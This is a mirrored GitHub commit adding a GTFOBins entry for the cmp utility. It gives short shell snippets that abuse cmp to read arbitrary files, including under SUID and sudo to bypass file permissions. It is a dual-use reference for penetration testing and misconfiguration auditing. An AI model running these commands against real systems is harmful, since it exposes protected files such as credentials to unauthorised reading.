mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 06:19:27 +01:00
Create cmp.md
This commit is contained in:
parent
d6accb1ca3
commit
a9313397a0
21
_gtfobins/cmp.md
Normal file
21
_gtfobins/cmp.md
Normal file
@ -0,0 +1,21 @@
|
||||
---
|
||||
functions:
|
||||
file-read:
|
||||
- code: |
|
||||
LFILE=file-to-read
|
||||
TEMP=$(mktemp)
|
||||
printf 'A%.0s' {1..999} > $TEMP
|
||||
cmp $LFILE $TEMP -b -n 999 -l
|
||||
suid:
|
||||
- code: |
|
||||
LFILE=file-to-read
|
||||
TEMP=$(mktemp)
|
||||
printf 'a%.0s' {1..999} > $TEMP
|
||||
cmp $LFILE $TEMP -b -n 999 -l
|
||||
sudo:
|
||||
- code: |
|
||||
LFILE=file-to-read
|
||||
TEMP=$(mktemp)
|
||||
printf 'a%.0s' {1..999} > $TEMP
|
||||
sudo cmp $LFILE $TEMP -b -n 999 -l
|
||||
---
|
Loading…
Reference in New Issue
Block a user